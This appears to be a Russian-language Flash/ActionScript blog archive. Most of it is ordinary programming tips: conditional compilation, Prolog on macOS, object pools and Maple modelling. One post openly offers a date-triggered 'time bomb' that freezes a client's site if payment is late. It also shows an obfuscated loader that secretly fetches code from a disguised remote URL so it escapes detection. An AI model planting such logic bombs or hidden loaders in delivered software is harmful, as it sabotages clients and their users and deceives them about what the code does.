Простите, на английском.
Archive for the 'tocode' Category
var a:Array = ["bla"]; a[ uint.MAX_VALUE ] = "bla2"; trace( a.length ); // 0 a.push(1, 2, 3); trace( a.length ); // 0 trace( a[0] ); // 3 trace( a[ uint.MAX_VALUE ] ); // "bla2"
Не спрашивайте как я его нашел.
Честно скажу, сам не знал. Прочитал только сегодня тут.
Значит, оказывается, для компилятора можно указывать константы в специальном неймспейсе ( по крайней мере выглядит так ), и потом использовать их для условной компиляции в зависимости от значения. Например, для отладки можно использовать следующий код:
function log( message:String ):void
{
CONFIG::Debug {
trace( message );
}
}
Который, если CONFIG::Debug == true, вкомпилит этот trace, в противном же случае нет.
Константы определяются следующим образом:
- Flash. В File > Publish Settings, кнопка Settings. Добавить имя и значение в Config constants.
- Flex Ant Task.
<mxmlc ... > <define name="CONFIG::Debug" value="false"/> </mxmlc> - Flex-config.xml
<compiler> <define> <name>CONFIG::Debug</name> <value>false</value> </define> </compiler> - mxmlc -define=CONFIG::Debug,false
Получается очень интересная штука. Дебаг и релиз версии лично у меня отличаются наличием всяких внешних вызовов дебагеров, например Alcon, которые совершенно не нужны в релизе. Проблема лишь в том, что мало кто эту фишку знает и, если отсутствуют объявления этих констант (мало ли, скопипастили код), то скомпилить становится нетривиально.
Допустим, вам понадобился Prolog на OS X. Если вы все еще читатете, то идем дальше.
Вообще, проглядев книгу восемдесятбородатого года про Пролог, мне он показался довольно забавным, и я решил попробовать какие-нибудь простенькие штуковины пописать. Только, как это сделать без идиотских эмуляторов на Mac. Значит, что мне понадобилось.
- Кроссплатформенные решения я нашел в виде плагинов для Eclipse, соответственно сперва нужен сам Eclipse. Версий там вагон, я выбрал где меньше всего всякой ненужной мне фигни, так как на Java я не разрабатываю.
- Первый плагин я пробовал PDT, он уж очень старый и на 3.5 не работает, 3.1 я скачал, но так и не установил, потому что нашел второй плагин ProDT. Он заработал нормально, и для моих простых тестов вполне достаточен. В Downloads нужно качать самый мелкий файлик.
- Для ProDT нужен SWI-Prolog — некоторая кросплатформенная opensource имплементация языка. Качаем, ставим.
- SWI-Prolog требует или нет MacPorts, но в любом случае, он у меня был и штука весьма полезная.
- Распаковываем ProDT в eclipse/dropins/prodt/eclipse/plugins, запускаем eclipse и он сам все устанавливает.
- Теперь в свойствах ProDT ( Eclipse -> Preferences -> Prolog -> Compilers -> Swi Compiler ) нужно прописать путь до компилятора, который по умолчанию ставится в
/opt/local/bin/swipl. - Переключаем вид Window -> Show Perspective -> Other… -> Prolog.
Все, теперь можно создаь простенький проектик и файлик в нем, например, следующего содержания:
da( one ).
da( two ).
Запустить, и в консоли написать
da(X).
x = one ;
x = two.
А тем временем на google.code лежит as3 библиотечка для работы с Google Wave API. А я только вчера отказался от приглашения. Надо будет попробовать как в следующий раз предложат с чем это едят.
Если вы не уверены в заказчике, смотрим сюда и делаем бомбу замедленного действия.
var d:Date = new Date()
// payment deadline
var payMonth:int = 9;
var payDay:int = 5;
// add five days so it's not too obvious and so you can replace
// the swf on their server if they do pay
payDay+=5;
if (d.getMonth()>= payMonth){
if (d.getDay()>= payDay){
// very nasty code to crash flash, alternately you could do anything that will break
// you app
while(1){
stage.addEventListener(Event.ENTER_FRAME, function(){ this["__"+Math.random()]=getTimer()*Math.random()});
}
}
}
А лучше
while(1)
this.addEventListener(Event.ENTER_FRAME, function():void{ this["__"+(getTimer()+Math.random())]=new BitmapData(5000,5000)});
Что, сайт не работает? Вешает браузер? Ну я не знаю, деньги переводите — я посмотрю что случилось.
И пока денег нету, слушаем и подпеваем.
Хотя, это уж слишком очевидно. Согласитесь, что делает этот код уж очень очевидно. Прокатит, если у заказчика нет исходников.
Я как-то прятал вот такой код
function f(t:String){
var i=0;var s1="";var s2="";
while (i<Math.floor(t.length*.5)){if(i%2){ s1+=t.charAt(t.length-(i+1));s2=t.charAt(i)+s2; }else{ s1+=t.charAt(i);s2=t.charAt(t.length-(i+1))+s2;}i++;}
t.length%2 == 0 ?1:s1+=t.charAt(Math.floor(t.length*.5));
return s1+s2;
}
var _c = new (getDefinitionByName(f("feaahLdyslpai..osdlr")))();
var _r = new (getDefinitionByName(f("fsauhenLtU.ReR.qselt")))(f("hwt.:t/eitgev/lradr.yuat.sntps/spstf"));
_c[f("cfnIeetaoLdnrtnoo")].addEventListener( "ioE"+"rror", function(e:*){});
_c["lo"+"ad"](_r);
Его сложно найти по ключевым словам и по адресу откуда что-то грузится, даже если это видно в том же FireBug. Можно опять же сделать привязку к дате и начинать грузить только через неделю.
Такие дела.
А тем временем youtube выложил AS3 API, с помощью которого можно использовать их видюшки. Насколько я знаю, раньше это решалось какими-то грязными хаками.
Такие дела. Что удобно, то не безопаснообычно не быстро.
Ради простецкой анимации хочется тупо написать две строчки:
tf.x = 4;
TweenLite.to( tf, Symbol.DURATION, {x: 0} );
При этом, когда таких анимаций происходит очень много и очень часто, создание для каждой экземпляра TweenLite приводит к сильным потерям в скорости. Я смотрел, у меня за несколько минут понасоздавалось и поубивалось 20000 экземпляров. Это к вопросу.
Приходится брать себя за задницу и писать следующее:
tf.x = 4;
addEventListener( Event.ENTER_FRAME, handlerEffect );
private function handlerEffect( evt: Event ): void
{
if ( tf.x == 0 )
{
removeEventListener( Event.ENTER_FRAME, handlerEffect );
return;
}
tf.x -= .5;
}
Продолжая тему оптимизации, хочу затронуть применение пулов объектов.
Итак, допустим, у нас постоянно создается и уничтожается большое число экземпляров некоторого класса. При этом, в один момент времени активных из них гораздо меньше, чем понасоздавалось и убилось за все время работы. Вариант, как говорится, в лоб — создавать и скидывать на плечи сборщика мусора каждый раз новый объект. Так делают большинство разработчиков, пока их не волнует вопрос памяти и производительности.
Другой способ — objects pool, объекты непосредственно не убивать, а скидывать в хранилище. При этом при запросе нового объекта, отдавать почищенный старый.
Простой тест дает убедиться, что данный способ позволяет (как минимум на моей машине) в 4 раза уменьшить накладные расходы на создание новых экземпляров класса. При этом требует совсем незначительных изменений в коде. Просто создавать не через new, а через некоторый Factory, пусть даже статический метод того же класса. И удаляя, тоже его оповещать.
public class TestClass extends Sprite
{
private var _char: String;
private var tf: TextField;
private static var available: Array;
public function TestClass( char: String )
{
super();
_char = char;
tf = new TextField();
addChild( tf );
tf.text = char;
}
public function set char( value: String ): void
{
_char = value;
tf.text = _char;
}
public static function createObject( char: String ): TestClass
{
if ( !available )
available = [];
var o: TestClass;
if ( available.length > 0 )
{
o = available.pop();
o.char = char;
return o;
}else{
return new TestClass( char );
}
}
public static function deleteObject( obj: TestClass2 ): void
{
if ( !available )
available = [];
available.push( obj );
}
}
Нужно только постоянно иметь в виду, что объекты эти необходимо тщательно чистить. Ну и, плюс статических методов того же класса, что свои экземпляры можно там почистить прямо, так сказать, покопавшись во внутренностях, приватных и протектед свойствах.
Часто возникает необходимость протестировать некоторую математическую модель прежде чем ее кодить в ActionScript или другой любой язык. Построить парочку красивых графиков, подогнать параметры. Конечно, можно быстренько накидать приложеньеце и нарисовать все во Flash, но зачем, когда есть куча специализированного математического софта? Мне когда-то в универе вдалбливали основы Maple, так что теперь с переменным успехом я пользуюсь им. Надо сказать, что я полный нуб и делаю все методом тыка, что не мешает мне тем не менее получать нужные результаты.
Итак, понадобилось мне запрограммить некоторое псевдослучайное колеблющееся движение. Мне нужен такой паттерн с периодичностью, резкими рывками, затуханием.
Открываю Maple. Начинаю задавать константы.
minAmp — минимальное значение глобальной амплитуды,
maxAmp — максимальное,
minLen — минимальная длина волны,
deltaLen — minLen + deltaLen = maxLen — максимальная длина волны,
speed — скорость маленькой волны (позже убилось).
Далее функции длины волны и амплитуды.
Длину волны я в примере брал константой, не хватило времени переписать под функцию, хоть там и не долго. Тут вроде бы все понятно. От некоторого x считается длина волны и амплитуда, обе периодичны.
Получается такой график амплитуды.
Теперь в это можно подставить еще один синус, который будет в амплитуду упираться.
Какая-то цикличность есть, но уж слишком криво. Теперь надо добавить много рандома.
Вот эта функция генерит рандом. Проще говоря, есть некоторый seed, который растет от “больше нуля” до “чуть больше единицы” на dseed, потом резко сбрасывается на единицу (почти до нуля) и меняется скорость роста dseed на некоторую величину определяемую переменными minRand и ampRand. И далее возвращается результат в предпоследней строчке. Отсюда получается такой рваный ритм, а из-за разброса dseed то быстрое, то медленное движение. И все это ограничено еще амплитудой, что выше.
В итоге имеем следующий результат.
Вот это уже рандом. Играясь с параметрами, можно получить весьма интересные результаты.
Ну и пример. Долго лучше не смотреть. И он солидно грузит систему, так что рекомендую эту страничку закрывать.
Maple исходник на всякий случай.







